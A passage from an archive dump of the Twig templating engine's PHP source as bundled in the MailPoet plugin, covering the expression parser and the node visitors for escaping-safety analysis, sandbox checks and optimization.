\MailPoetVendor\Twig\Node\Expression\ArrowFunctionExpression($this->parseExpression(0), new \MailPoetVendor\Twig\Node\Node($names), $line); } private function getPrimary() : \MailPoetVendor\Twig\Node\Expression\AbstractExpression { $token = $this->parser->getCurrentToken(); if ($this->isUnary($token)) { $operator = $this->unaryOperators[$token->getValue()]; $this->parser->getStream()->next(); $expr = $this->parseExpression($operator['precedence']); $class = $operator['class']; return $this->parsePostfixExpression(new $class($expr, $token->getLine())); } elseif ($token->test( 9, '(' )) { $this->parser->getStream()->next(); $expr = $this->parseExpression(); $this->parser->getStream()->expect( 9, ')', 'An opened parenthesis is not properly closed' ); return $this->parsePostfixExpression($expr); } return $this->parsePrimaryExpression(); } private function parseConditionalExpression($expr) : \MailPoetVendor\Twig\Node\Expression\AbstractExpression { while ($this->parser->getStream()->nextIf( 9, '?' )) { if (!$this->parser->getStream()->nextIf( 9, ':' )) { $expr2 = $this->parseExpression(); if ($this->parser->getStream()->nextIf( 9, ':' )) { $expr3 = $this->parseExpression(); } else { $expr3 = new \MailPoetVendor\Twig\Node\Expression\ConstantExpression('', $this->parser->getCurrentToken()->getLine()); } } else { $expr2 = $expr; $expr3 = $this->parseExpression(); } $expr = new \MailPoetVendor\Twig\Node\Expression\ConditionalExpression($expr, $expr2, $expr3, $this->parser->getCurrentToken()->getLine()); } return $expr; } private function isUnary(\MailPoetVendor\Twig\Token $token) : bool { return $token->test( 8 ) && isset($this->unaryOperators[$token->getValue()]); } private function isBinary(\MailPoetVendor\Twig\Token $token) : bool { return $token->test( 8 ) && isset($this->binaryOperators[$token->getValue()]); } public function parsePrimaryExpression() { $token = $this->parser->getCurrentToken(); switch ($token->getType()) { case 5: $this->parser->getStream()->next(); switch ($token->getValue()) { case 'true': case 'TRUE': $node = new \MailPoetVendor\Twig\Node\Expression\ConstantExpression(\true, $token->getLine()); break; case 'false': case 'FALSE': $node = new \MailPoetVendor\Twig\Node\Expression\ConstantExpression(\false, $token->getLine()); break; case 'none': case 'NONE': case 'null': case 'NULL': $node = new \MailPoetVendor\Twig\Node\Expression\ConstantExpression(null, $token->getLine()); break; default: if ('(' === $this->parser->getCurrentToken()->getValue()) { $node = $this->getFunctionNode($token->getValue(), $token->getLine()); } else { $node = new \MailPoetVendor\Twig\Node\Expression\NameExpression($token->getValue(), $token->getLine()); } } break; case 6: $this->parser->getStream()->next(); $node = new \MailPoetVendor\Twig\Node\Expression\ConstantExpression($token->getValue(), $token->getLine()); break; case 7: case 10: $node = $this->parseStringExpression(); break; case 8: if (\preg_match(\MailPoetVendor\Twig\Lexer::REGEX_NAME, $token->getValue(), $matches) && $matches[0] == $token->getValue()) { $this->parser->getStream()->next(); $node = new \MailPoetVendor\Twig\Node\Expression\NameExpression($token->getValue(), $token->getLine()); break; } elseif (isset($this->unaryOperators[$token->getValue()])) { $class = $this->unaryOperators[$token->getValue()]['class']; $ref = new \ReflectionClass($class); if (!(\in_array($ref->getName(), [\MailPoetVendor\Twig\Node\Expression\Unary\NegUnary::class, \MailPoetVendor\Twig\Node\Expression\Unary\PosUnary::class, 'Twig_Node_Expression_Unary_Neg', 'Twig_Node_Expression_Unary_Pos']) || $ref->isSubclassOf(\MailPoetVendor\Twig\Node\Expression\Unary\NegUnary::class) || $ref->isSubclassOf(\MailPoetVendor\Twig\Node\Expression\Unary\PosUnary::class) || $ref->isSubclassOf('Twig_Node_Expression_Unary_Neg') || $ref->isSubclassOf('Twig_Node_Expression_Unary_Pos'))) { throw new \MailPoetVendor\Twig\Error\SyntaxError(\sprintf('Unexpected unary operator "%s".', $token->getValue()), $token->getLine(), $this->parser->getStream()->getSourceContext()); } $this->parser->getStream()->next(); $expr = $this->parsePrimaryExpression(); $node = new $class($expr, $token->getLine()); break; } default: if ($token->test( 9, '[' )) { $node = $this->parseArrayExpression(); } elseif ($token->test( 9, '{' )) { $node = $this->parseHashExpression(); } elseif ($token->test( 8, '=' ) && ('==' === $this->parser->getStream()->look(-1)->getValue() || '!=' === $this->parser->getStream()->look(-1)->getValue())) { throw new \MailPoetVendor\Twig\Error\SyntaxError(\sprintf('Unexpected operator of value "%s". Did you try to use "===" or "!==" for strict comparison? Use "is same as(value)" instead.', $token->getValue()), $token->getLine(), $this->parser->getStream()->getSourceContext()); } else { throw new \MailPoetVendor\Twig\Error\SyntaxError(\sprintf('Unexpected token "%s" of value "%s".', \MailPoetVendor\Twig\Token::typeToEnglish($token->getType()), $token->getValue()), $token->getLine(), $this->parser->getStream()->getSourceContext()); } } return $this->parsePostfixExpression($node); } public function parseStringExpression() { $stream = $this->parser->getStream(); $nodes = []; $nextCanBeString = \true; while (\true) { if ($nextCanBeString && ($token = $stream->nextIf( 7 ))) { $nodes[] = new \MailPoetVendor\Twig\Node\Expression\ConstantExpression($token->getValue(), $token->getLine()); $nextCanBeString = \false; } elseif ($stream->nextIf( 10 )) { $nodes[] = $this->parseExpression(); $stream->expect( 11 ); $nextCanBeString = \true; } else { break; } } $expr = \array_shift($nodes); foreach ($nodes as $node) { $expr = new \MailPoetVendor\Twig\Node\Expression\Binary\ConcatBinary($expr, $node, $node->getTemplateLine()); } return $expr; } public function parseArrayExpression() { $stream = $this->parser->getStream(); $stream->expect( 9, '[', 'An array element was expected' ); $node = new \MailPoetVendor\Twig\Node\Expression\ArrayExpression([], $stream->getCurrent()->getLine()); $first = \true; while (!$stream->test( 9, ']' )) { if (!$first) { $stream->expect( 9, ',', 'An array element must be followed by a comma' ); if ($stream->test( 9, ']' )) { break; } } $first = \false; $node->addElement($this->parseExpression()); } $stream->expect( 9, ']', 'An opened array is not properly closed' ); return $node; } public function parseHashExpression() { $stream = $this->parser->getStream(); $stream->expect( 9, '{', 'A hash element was expected' ); $node = new \MailPoetVendor\Twig\Node\Expression\ArrayExpression([], $stream->getCurrent()->getLine()); $first = \true; while (!$stream->test( 9, '}' )) { if (!$first) { $stream->expect( 9, ',', 'A hash value must be followed by a comma' ); if ($stream->test( 9, '}' )) { break; } } $first = \false; if (($token = $stream->nextIf( 7 )) || ($token = $stream->nextIf( 5 )) || ($token = $stream->nextIf( 6 ))) { $key = new \MailPoetVendor\Twig\Node\Expression\ConstantExpression($token->getValue(), $token->getLine()); } elseif ($stream->test( 9, '(' )) { $key = $this->parseExpression(); } else { $current = $stream->getCurrent(); throw new \MailPoetVendor\Twig\Error\SyntaxError(\sprintf('A hash key must be a quoted string, a number, a name, or an expression enclosed in parentheses (unexpected token "%s" of value "%s".', \MailPoetVendor\Twig\Token::typeToEnglish($current->getType()), $current->getValue()), $current->getLine(), $stream->getSourceContext()); } $stream->expect( 9, ':', 'A hash key must be followed by a colon (:)' ); $value = $this->parseExpression(); $node->addElement($value, $key); } $stream->expect( 9, '}', 'An opened hash is not properly closed' ); return $node; } public function parsePostfixExpression($node) { while (\true) { $token = $this->parser->getCurrentToken(); if (9 == $token->getType()) { if ('.' == $token->getValue() || '[' == $token->getValue()) { $node = $this->parseSubscriptExpression($node); } elseif ('|' == $token->getValue()) { $node = $this->parseFilterExpression($node); } else { break; } } else { break; } } return $node; } public function getFunctionNode($name, $line) { switch ($name) { case 'parent': $this->parseArguments(); if (!\count($this->parser->getBlockStack())) { throw new \MailPoetVendor\Twig\Error\SyntaxError('Calling "parent" outside a block is forbidden.', $line, $this->parser->getStream()->getSourceContext()); } if (!$this->parser->getParent() && !$this->parser->hasTraits()) { throw new \MailPoetVendor\Twig\Error\SyntaxError('Calling "parent" on a template that does not extend nor "use" another template is forbidden.', $line, $this->parser->getStream()->getSourceContext()); } return new \MailPoetVendor\Twig\Node\Expression\ParentExpression($this->parser->peekBlockStack(), $line); case 'block': $args = $this->parseArguments(); if (\count($args) < 1) { throw new \MailPoetVendor\Twig\Error\SyntaxError('The "block" function takes one argument (the block name).', $line, $this->parser->getStream()->getSourceContext()); } return new \MailPoetVendor\Twig\Node\Expression\BlockReferenceExpression($args->getNode(0), \count($args) > 1 ? $args->getNode(1) : null, $line); case 'attribute': $args = $this->parseArguments(); if (\count($args) < 2) { throw new \MailPoetVendor\Twig\Error\SyntaxError('The "attribute" function takes at least two arguments (the variable and the attributes).', $line, $this->parser->getStream()->getSourceContext()); } return new \MailPoetVendor\Twig\Node\Expression\GetAttrExpression($args->getNode(0), $args->getNode(1), \count($args) > 2 ? $args->getNode(2) : null, \MailPoetVendor\Twig\Template::ANY_CALL, $line); default: if (null !== ($alias = $this->parser->getImportedSymbol('function', $name))) { $arguments = new \MailPoetVendor\Twig\Node\Expression\ArrayExpression([], $line); foreach ($this->parseArguments() as $n) { $arguments->addElement($n); } $node = new \MailPoetVendor\Twig\Node\Expression\MethodCallExpression($alias['node'], $alias['name'], $arguments, $line); $node->setAttribute('safe', \true); return $node; } $args = $this->parseArguments(\true); $class = $this->getFunctionNodeClass($name, $line); return new $class($name, $args, $line); } } public function parseSubscriptExpression($node) { $stream = $this->parser->getStream(); $token = $stream->next(); $lineno = $token->getLine(); $arguments = new \MailPoetVendor\Twig\Node\Expression\ArrayExpression([], $lineno); $type = \MailPoetVendor\Twig\Template::ANY_CALL; if ('.' == $token->getValue()) { $token = $stream->next(); if (5 == $token->getType() || 6 == $token->getType() || 8 == $token->getType() && \preg_match(\MailPoetVendor\Twig\Lexer::REGEX_NAME, $token->getValue())) { $arg = new \MailPoetVendor\Twig\Node\Expression\ConstantExpression($token->getValue(), $lineno); if ($stream->test( 9, '(' )) { $type = \MailPoetVendor\Twig\Template::METHOD_CALL; foreach ($this->parseArguments() as $n) { $arguments->addElement($n); } } } else { throw new \MailPoetVendor\Twig\Error\SyntaxError('Expected name or number.', $lineno, $stream->getSourceContext()); } if ($node instanceof \MailPoetVendor\Twig\Node\Expression\NameExpression && null !== $this->parser->getImportedSymbol('template', $node->getAttribute('name'))) { if (!$arg instanceof \MailPoetVendor\Twig\Node\Expression\ConstantExpression) { throw new \MailPoetVendor\Twig\Error\SyntaxError(\sprintf('Dynamic macro names are not supported (called on "%s").', $node->getAttribute('name')), $token->getLine(), $stream->getSourceContext()); } $name = $arg->getAttribute('value'); $node = new \MailPoetVendor\Twig\Node\Expression\MethodCallExpression($node, 'macro_' . $name, $arguments, $lineno); $node->setAttribute('safe', \true); return $node; } } else { $type = \MailPoetVendor\Twig\Template::ARRAY_CALL; $slice = \false; if ($stream->test( 9, ':' )) { $slice = \true; $arg = new \MailPoetVendor\Twig\Node\Expression\ConstantExpression(0, $token->getLine()); } else { $arg = $this->parseExpression(); } if ($stream->nextIf( 9, ':' )) { $slice = \true; } if ($slice) { if ($stream->test( 9, ']' )) { $length = new \MailPoetVendor\Twig\Node\Expression\ConstantExpression(null, $token->getLine()); } else { $length = $this->parseExpression(); } $class = $this->getFilterNodeClass('slice', $token->getLine()); $arguments = new \MailPoetVendor\Twig\Node\Node([$arg, $length]); $filter = new $class($node, new \MailPoetVendor\Twig\Node\Expression\ConstantExpression('slice', $token->getLine()), $arguments, $token->getLine()); $stream->expect( 9, ']' ); return $filter; } $stream->expect( 9, ']' ); } return new \MailPoetVendor\Twig\Node\Expression\GetAttrExpression($node, $arg, $arguments, $type, $lineno); } public function parseFilterExpression($node) { $this->parser->getStream()->next(); return $this->parseFilterExpressionRaw($node); } public function parseFilterExpressionRaw($node, $tag = null) { while (\true) { $token = $this->parser->getStream()->expect( 5 ); $name = new \MailPoetVendor\Twig\Node\Expression\ConstantExpression($token->getValue(), $token->getLine()); if (!$this->parser->getStream()->test( 9, '(' )) { $arguments = new \MailPoetVendor\Twig\Node\Node(); } else { $arguments = $this->parseArguments(\true, \false, \true); } $class = $this->getFilterNodeClass($name->getAttribute('value'), $token->getLine()); $node = new $class($node, $name, $arguments, $token->getLine(), $tag); if (!$this->parser->getStream()->test( 9, '|' )) { break; } $this->parser->getStream()->next(); } return $node; } public function parseArguments($namedArguments = \false, $definition = \false, $allowArrow = \false) { $args = []; $stream = $this->parser->getStream(); $stream->expect( 9, '(', 'A list of arguments must begin with an opening parenthesis' ); while (!$stream->test( 9, ')' )) { if (!empty($args)) { $stream->expect( 9, ',', 'Arguments must be separated by a comma' ); } if ($definition) { $token = $stream->expect( 5, null, 'An argument must be a name' ); $value = new \MailPoetVendor\Twig\Node\Expression\NameExpression($token->getValue(), $this->parser->getCurrentToken()->getLine()); } else { $value = $this->parseExpression(0, $allowArrow); } $name = null; if ($namedArguments && ($token = $stream->nextIf( 8, '=' ))) { if (!$value instanceof \MailPoetVendor\Twig\Node\Expression\NameExpression) { throw new \MailPoetVendor\Twig\Error\SyntaxError(\sprintf('A parameter name must be a string, "%s" given.', \get_class($value)), $token->getLine(), $stream->getSourceContext()); } $name = $value->getAttribute('name'); if ($definition) { $value = $this->parsePrimaryExpression(); if (!$this->checkConstantExpression($value)) { throw new \MailPoetVendor\Twig\Error\SyntaxError(\sprintf('A default value for an argument must be a constant (a boolean, a string, a number, or an array).'), $token->getLine(), $stream->getSourceContext()); } } else { $value = $this->parseExpression(0, $allowArrow); } } if ($definition) { if (null === $name) { $name = $value->getAttribute('name'); $value = new \MailPoetVendor\Twig\Node\Expression\ConstantExpression(null, $this->parser->getCurrentToken()->getLine()); } $args[$name] = $value; } else { if (null === $name) { $args[] = $value; } else { $args[$name] = $value; } } } $stream->expect( 9, ')', 'A list of arguments must be closed by a parenthesis' ); return new \MailPoetVendor\Twig\Node\Node($args); } public function parseAssignmentExpression() { $stream = $this->parser->getStream(); $targets = []; while (\true) { $token = $this->parser->getCurrentToken(); if ($stream->test( 8 ) && \preg_match(\MailPoetVendor\Twig\Lexer::REGEX_NAME, $token->getValue())) { $this->parser->getStream()->next(); } else { $stream->expect( 5, null, 'Only variables can be assigned to' ); } $value = $token->getValue(); if (\in_array(\strtr($value, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz'), ['true', 'false', 'none', 'null'])) { throw new \MailPoetVendor\Twig\Error\SyntaxError(\sprintf('You cannot assign a value to "%s".', $value), $token->getLine(), $stream->getSourceContext()); } $targets[] = new \MailPoetVendor\Twig\Node\Expression\AssignNameExpression($value, $token->getLine()); if (!$stream->nextIf( 9, ',' )) { break; } } return new \MailPoetVendor\Twig\Node\Node($targets); } public function parseMultitargetExpression() { $targets = []; while (\true) { $targets[] = $this->parseExpression(); if (!$this->parser->getStream()->nextIf( 9, ',' )) { break; } } return new \MailPoetVendor\Twig\Node\Node($targets); } private function parseNotTestExpression(\MailPoetVendor\Twig\Node\Node $node) : \MailPoetVendor\Twig\Node\Expression\Unary\NotUnary { return new \MailPoetVendor\Twig\Node\Expression\Unary\NotUnary($this->parseTestExpression($node), $this->parser->getCurrentToken()->getLine()); } private function parseTestExpression(\MailPoetVendor\Twig\Node\Node $node) : \MailPoetVendor\Twig\Node\Expression\TestExpression { $stream = $this->parser->getStream(); list($name, $test) = $this->getTest($node->getTemplateLine()); $class = $this->getTestNodeClass($test); $arguments = null; if ($stream->test( 9, '(' )) { $arguments = $this->parseArguments(\true); } if ('defined' === $name && $node instanceof \MailPoetVendor\Twig\Node\Expression\NameExpression && null !== ($alias = $this->parser->getImportedSymbol('function', $node->getAttribute('name')))) { $node = new \MailPoetVendor\Twig\Node\Expression\MethodCallExpression($alias['node'], $alias['name'], new \MailPoetVendor\Twig\Node\Expression\ArrayExpression([], $node->getTemplateLine()), $node->getTemplateLine()); $node->setAttribute('safe', \true); } return new $class($node, $name, $arguments, $this->parser->getCurrentToken()->getLine()); } private function getTest(int $line) : array { $stream = $this->parser->getStream(); $name = $stream->expect( 5 )->getValue(); if ($test = $this->env->getTest($name)) { return [$name, $test]; } if ($stream->test( 5 )) { $name = $name . ' ' . $this->parser->getCurrentToken()->getValue(); if ($test = $this->env->getTest($name)) { $stream->next(); return [$name, $test]; } } $e = new \MailPoetVendor\Twig\Error\SyntaxError(\sprintf('Unknown "%s" test.', $name), $line, $stream->getSourceContext()); $e->addSuggestions($name, \array_keys($this->env->getTests())); throw $e; } private function getTestNodeClass(\MailPoetVendor\Twig\TwigTest $test) : string { if ($test->isDeprecated()) { $stream = $this->parser->getStream(); $message = \sprintf('Twig Test "%s" is deprecated', $test->getName()); if (!\is_bool($test->getDeprecatedVersion())) { $message .= \sprintf(' since version %s', $test->getDeprecatedVersion()); } if ($test->getAlternative()) { $message .= \sprintf('. Use "%s" instead', $test->getAlternative()); } $src = $stream->getSourceContext(); $message .= \sprintf(' in %s at line %d.', $src->getPath() ?: $src->getName(), $stream->getCurrent()->getLine()); @\trigger_error($message, \E_USER_DEPRECATED); } return $test->getNodeClass(); } private function getFunctionNodeClass(string $name, int $line) : string { if (\false === ($function = $this->env->getFunction($name))) { $e = new \MailPoetVendor\Twig\Error\SyntaxError(\sprintf('Unknown "%s" function.', $name), $line, $this->parser->getStream()->getSourceContext()); $e->addSuggestions($name, \array_keys($this->env->getFunctions())); throw $e; } if ($function->isDeprecated()) { $message = \sprintf('Twig Function "%s" is deprecated', $function->getName()); if (!\is_bool($function->getDeprecatedVersion())) { $message .= \sprintf(' since version %s', $function->getDeprecatedVersion()); } if ($function->getAlternative()) { $message .= \sprintf('. Use "%s" instead', $function->getAlternative()); } $src = $this->parser->getStream()->getSourceContext(); $message .= \sprintf(' in %s at line %d.', $src->getPath() ?: $src->getName(), $line); @\trigger_error($message, \E_USER_DEPRECATED); } return $function->getNodeClass(); } private function getFilterNodeClass(string $name, int $line) : string { if (\false === ($filter = $this->env->getFilter($name))) { $e = new \MailPoetVendor\Twig\Error\SyntaxError(\sprintf('Unknown "%s" filter.', $name), $line, $this->parser->getStream()->getSourceContext()); $e->addSuggestions($name, \array_keys($this->env->getFilters())); throw $e; } if ($filter->isDeprecated()) { $message = \sprintf('Twig Filter "%s" is deprecated', $filter->getName()); if (!\is_bool($filter->getDeprecatedVersion())) { $message .= \sprintf(' since version %s', $filter->getDeprecatedVersion()); } if ($filter->getAlternative()) { $message .= \sprintf('. Use "%s" instead', $filter->getAlternative()); } $src = $this->parser->getStream()->getSourceContext(); $message .= \sprintf(' in %s at line %d.', $src->getPath() ?: $src->getName(), $line); @\trigger_error($message, \E_USER_DEPRECATED); } return $filter->getNodeClass(); } private function checkConstantExpression(\MailPoetVendor\Twig\Node\Node $node) : bool { if (!($node instanceof \MailPoetVendor\Twig\Node\Expression\ConstantExpression || $node instanceof \MailPoetVendor\Twig\Node\Expression\ArrayExpression || $node instanceof \MailPoetVendor\Twig\Node\Expression\Unary\NegUnary || $node instanceof \MailPoetVendor\Twig\Node\Expression\Unary\PosUnary)) { return \false; } foreach ($node as $n) { if (!$this->checkConstantExpression($n)) { return \false; } } return \true; } } \class_alias('MailPoetVendor\\Twig\\ExpressionParser', 'MailPoetVendor\\Twig_ExpressionParser'); twig/src/NodeVisitor/SafeAnalysisNodeVisitor.php000066600000010067150351206230016040 0ustar00<?php
 namespace MailPoetVendor\Twig\NodeVisitor; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Environment; use MailPoetVendor\Twig\Node\Expression\BlockReferenceExpression; use MailPoetVendor\Twig\Node\Expression\ConditionalExpression; use MailPoetVendor\Twig\Node\Expression\ConstantExpression; use MailPoetVendor\Twig\Node\Expression\FilterExpression; use MailPoetVendor\Twig\Node\Expression\FunctionExpression; use MailPoetVendor\Twig\Node\Expression\GetAttrExpression; use MailPoetVendor\Twig\Node\Expression\MethodCallExpression; use MailPoetVendor\Twig\Node\Expression\NameExpression; use MailPoetVendor\Twig\Node\Expression\ParentExpression; use MailPoetVendor\Twig\Node\Node; final class SafeAnalysisNodeVisitor extends \MailPoetVendor\Twig\NodeVisitor\AbstractNodeVisitor { private $data = []; private $safeVars = []; public function setSafeVars($safeVars) { $this->safeVars = $safeVars; } public function getSafe(\MailPoetVendor\Twig\Node\Node $node) { $hash = \spl_object_hash($node); if (!isset($this->data[$hash])) { return; } foreach ($this->data[$hash] as $bucket) { if ($bucket['key'] !== $node) { continue; } if (\in_array('html_attr', $bucket['value'])) { $bucket['value'][] = 'html'; } return $bucket['value']; } } private function setSafe(\MailPoetVendor\Twig\Node\Node $node, array $safe) { $hash = \spl_object_hash($node); if (isset($this->data[$hash])) { foreach ($this->data[$hash] as &$bucket) { if ($bucket['key'] === $node) { $bucket['value'] = $safe; return; } } } $this->data[$hash][] = ['key' => $node, 'value' => $safe]; } protected function doEnterNode(\MailPoetVendor\Twig\Node\Node $node, \MailPoetVendor\Twig\Environment $env) { return $node; } protected function doLeaveNode(\MailPoetVendor\Twig\Node\Node $node, \MailPoetVendor\Twig\Environment $env) { if ($node instanceof \MailPoetVendor\Twig\Node\Expression\ConstantExpression) { $this->setSafe($node, ['all']); } elseif ($node instanceof \MailPoetVendor\Twig\Node\Expression\BlockReferenceExpression) { $this->setSafe($node, ['all']); } elseif ($node instanceof \MailPoetVendor\Twig\Node\Expression\ParentExpression) { $this->setSafe($node, ['all']); } elseif ($node instanceof \MailPoetVendor\Twig\Node\Expression\ConditionalExpression) { $safe = $this->intersectSafe($this->getSafe($node->getNode('expr2')), $this->getSafe($node->getNode('expr3'))); $this->setSafe($node, $safe); } elseif ($node instanceof \MailPoetVendor\Twig\Node\Expression\FilterExpression) { $name = $node->getNode('filter')->getAttribute('value'); $args = $node->getNode('arguments'); if (\false !== ($filter = $env->getFilter($name))) { $safe = $filter->getSafe($args); if (null === $safe) { $safe = $this->intersectSafe($this->getSafe($node->getNode('node')), $filter->getPreservesSafety()); } $this->setSafe($node, $safe); } else { $this->setSafe($node, []); } } elseif ($node instanceof \MailPoetVendor\Twig\Node\Expression\FunctionExpression) { $name = $node->getAttribute('name'); $args = $node->getNode('arguments'); $function = $env->getFunction($name); if (\false !== $function) { $this->setSafe($node, $function->getSafe($args)); } else { $this->setSafe($node, []); } } elseif ($node instanceof \MailPoetVendor\Twig\Node\Expression\MethodCallExpression) { if ($node->getAttribute('safe')) { $this->setSafe($node, ['all']); } else { $this->setSafe($node, []); } } elseif ($node instanceof \MailPoetVendor\Twig\Node\Expression\GetAttrExpression && $node->getNode('node') instanceof \MailPoetVendor\Twig\Node\Expression\NameExpression) { $name = $node->getNode('node')->getAttribute('name'); if (\in_array($name, $this->safeVars)) { $this->setSafe($node, ['all']); } else { $this->setSafe($node, []); } } else { $this->setSafe($node, []); } return $node; } private function intersectSafe(array $a = null, array $b = null) : array { if (null === $a || null === $b) { return []; } if (\in_array('all', $a)) { return $b; } if (\in_array('all', $b)) { return $a; } return \array_intersect($a, $b); } public function getPriority() { return 0; } } \class_alias('MailPoetVendor\\Twig\\NodeVisitor\\SafeAnalysisNodeVisitor', 'MailPoetVendor\\Twig_NodeVisitor_SafeAnalysis'); twig/src/NodeVisitor/SandboxNodeVisitor.php000066600000007615150351206230015061 0ustar00<?php
 namespace MailPoetVendor\Twig\NodeVisitor; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Environment; use MailPoetVendor\Twig\Node\CheckSecurityNode; use MailPoetVendor\Twig\Node\CheckToStringNode; use MailPoetVendor\Twig\Node\Expression\Binary\ConcatBinary; use MailPoetVendor\Twig\Node\Expression\Binary\RangeBinary; use MailPoetVendor\Twig\Node\Expression\FilterExpression; use MailPoetVendor\Twig\Node\Expression\FunctionExpression; use MailPoetVendor\Twig\Node\Expression\GetAttrExpression; use MailPoetVendor\Twig\Node\Expression\NameExpression; use MailPoetVendor\Twig\Node\ModuleNode; use MailPoetVendor\Twig\Node\Node; use MailPoetVendor\Twig\Node\PrintNode; use MailPoetVendor\Twig\Node\SetNode; final class SandboxNodeVisitor extends \MailPoetVendor\Twig\NodeVisitor\AbstractNodeVisitor { private $inAModule = \false; private $tags; private $filters; private $functions; private $needsToStringWrap = \false; protected function doEnterNode(\MailPoetVendor\Twig\Node\Node $node, \MailPoetVendor\Twig\Environment $env) { if ($node instanceof \MailPoetVendor\Twig\Node\ModuleNode) { $this->inAModule = \true; $this->tags = []; $this->filters = []; $this->functions = []; return $node; } elseif ($this->inAModule) { if ($node->getNodeTag() && !isset($this->tags[$node->getNodeTag()])) { $this->tags[$node->getNodeTag()] = $node; } if ($node instanceof \MailPoetVendor\Twig\Node\Expression\FilterExpression && !isset($this->filters[$node->getNode('filter')->getAttribute('value')])) { $this->filters[$node->getNode('filter')->getAttribute('value')] = $node; } if ($node instanceof \MailPoetVendor\Twig\Node\Expression\FunctionExpression && !isset($this->functions[$node->getAttribute('name')])) { $this->functions[$node->getAttribute('name')] = $node; } if ($node instanceof \MailPoetVendor\Twig\Node\Expression\Binary\RangeBinary && !isset($this->functions['range'])) { $this->functions['range'] = $node; } if ($node instanceof \MailPoetVendor\Twig\Node\PrintNode) { $this->needsToStringWrap = \true; $this->wrapNode($node, 'expr'); } if ($node instanceof \MailPoetVendor\Twig\Node\SetNode && !$node->getAttribute('capture')) { $this->needsToStringWrap = \true; } if ($this->needsToStringWrap) { if ($node instanceof \MailPoetVendor\Twig\Node\Expression\Binary\ConcatBinary) { $this->wrapNode($node, 'left'); $this->wrapNode($node, 'right'); } if ($node instanceof \MailPoetVendor\Twig\Node\Expression\FilterExpression) { $this->wrapNode($node, 'node'); $this->wrapArrayNode($node, 'arguments'); } if ($node instanceof \MailPoetVendor\Twig\Node\Expression\FunctionExpression) { $this->wrapArrayNode($node, 'arguments'); } } } return $node; } protected function doLeaveNode(\MailPoetVendor\Twig\Node\Node $node, \MailPoetVendor\Twig\Environment $env) { if ($node instanceof \MailPoetVendor\Twig\Node\ModuleNode) { $this->inAModule = \false; $node->getNode('constructor_end')->setNode('_security_check', new \MailPoetVendor\Twig\Node\Node([new \MailPoetVendor\Twig\Node\CheckSecurityNode($this->filters, $this->tags, $this->functions), $node->getNode('display_start')])); } elseif ($this->inAModule) { if ($node instanceof \MailPoetVendor\Twig\Node\PrintNode || $node instanceof \MailPoetVendor\Twig\Node\SetNode) { $this->needsToStringWrap = \false; } } return $node; } private function wrapNode(\MailPoetVendor\Twig\Node\Node $node, string $name) { $expr = $node->getNode($name); if ($expr instanceof \MailPoetVendor\Twig\Node\Expression\NameExpression || $expr instanceof \MailPoetVendor\Twig\Node\Expression\GetAttrExpression) { $node->setNode($name, new \MailPoetVendor\Twig\Node\CheckToStringNode($expr)); } } private function wrapArrayNode(\MailPoetVendor\Twig\Node\Node $node, string $name) { $args = $node->getNode($name); foreach ($args as $name => $_) { $this->wrapNode($args, $name); } } public function getPriority() { return 0; } } \class_alias('MailPoetVendor\\Twig\\NodeVisitor\\SandboxNodeVisitor', 'MailPoetVendor\\Twig_NodeVisitor_Sandbox'); twig/src/NodeVisitor/AbstractNodeVisitor.php000066600000001617150351206230015222 0ustar00<?php
 namespace MailPoetVendor\Twig\NodeVisitor; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Environment; use MailPoetVendor\Twig\Node\Node; abstract class AbstractNodeVisitor implements \MailPoetVendor\Twig\NodeVisitor\NodeVisitorInterface { public final function enterNode(\MailPoetVendor\Twig\Node\Node $node, \MailPoetVendor\Twig\Environment $env) { return $this->doEnterNode($node, $env); } public final function leaveNode(\MailPoetVendor\Twig\Node\Node $node, \MailPoetVendor\Twig\Environment $env) { return $this->doLeaveNode($node, $env); } protected abstract function doEnterNode(\MailPoetVendor\Twig\Node\Node $node, \MailPoetVendor\Twig\Environment $env); protected abstract function doLeaveNode(\MailPoetVendor\Twig\Node\Node $node, \MailPoetVendor\Twig\Environment $env); } \class_alias('MailPoetVendor\\Twig\\NodeVisitor\\AbstractNodeVisitor', 'MailPoetVendor\\Twig_BaseNodeVisitor'); twig/src/NodeVisitor/OptimizerNodeVisitor.php000066600000012476150351206230015446 0ustar00<?php
 namespace MailPoetVendor\Twig\NodeVisitor; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Environment; use MailPoetVendor\Twig\Node\BlockReferenceNode; use MailPoetVendor\Twig\Node\Expression\BlockReferenceExpression; use MailPoetVendor\Twig\Node\Expression\ConstantExpression; use MailPoetVendor\Twig\Node\Expression\FilterExpression; use MailPoetVendor\Twig\Node\Expression\FunctionExpression; use MailPoetVendor\Twig\Node\Expression\GetAttrExpression; use MailPoetVendor\Twig\Node\Expression\NameExpression; use MailPoetVendor\Twig\Node\Expression\ParentExpression; use MailPoetVendor\Twig\Node\ForNode; use MailPoetVendor\Twig\Node\IncludeNode; use MailPoetVendor\Twig\Node\Node; use MailPoetVendor\Twig\Node\PrintNode; final class OptimizerNodeVisitor extends \MailPoetVendor\Twig\NodeVisitor\AbstractNodeVisitor { const OPTIMIZE_ALL = -1; const OPTIMIZE_NONE = 0; const OPTIMIZE_FOR = 2; const OPTIMIZE_RAW_FILTER = 4; const OPTIMIZE_VAR_ACCESS = 8; private $loops = []; private $loopsTargets = []; private $optimizers; public function __construct(int $optimizers = -1) { if (!\is_int($optimizers) || $optimizers > (self::OPTIMIZE_FOR | self::OPTIMIZE_RAW_FILTER | self::OPTIMIZE_VAR_ACCESS)) { throw new \InvalidArgumentException(\sprintf('Optimizer mode "%s" is not valid.', $optimizers)); } $this->optimizers = $optimizers; } protected function doEnterNode(\MailPoetVendor\Twig\Node\Node $node, \MailPoetVendor\Twig\Environment $env) { if (self::OPTIMIZE_FOR === (self::OPTIMIZE_FOR & $this->optimizers)) { $this->enterOptimizeFor($node, $env); } return $node; } protected function doLeaveNode(\MailPoetVendor\Twig\Node\Node $node, \MailPoetVendor\Twig\Environment $env) { if (self::OPTIMIZE_FOR === (self::OPTIMIZE_FOR & $this->optimizers)) { $this->leaveOptimizeFor($node, $env); } if (self::OPTIMIZE_RAW_FILTER === (self::OPTIMIZE_RAW_FILTER & $this->optimizers)) { $node = $this->optimizeRawFilter($node, $env); } $node = $this->optimizePrintNode($node, $env); return $node; } private function optimizePrintNode(\MailPoetVendor\Twig\Node\Node $node, \MailPoetVendor\Twig\Environment $env) : \MailPoetVendor\Twig\Node\Node { if (!$node instanceof 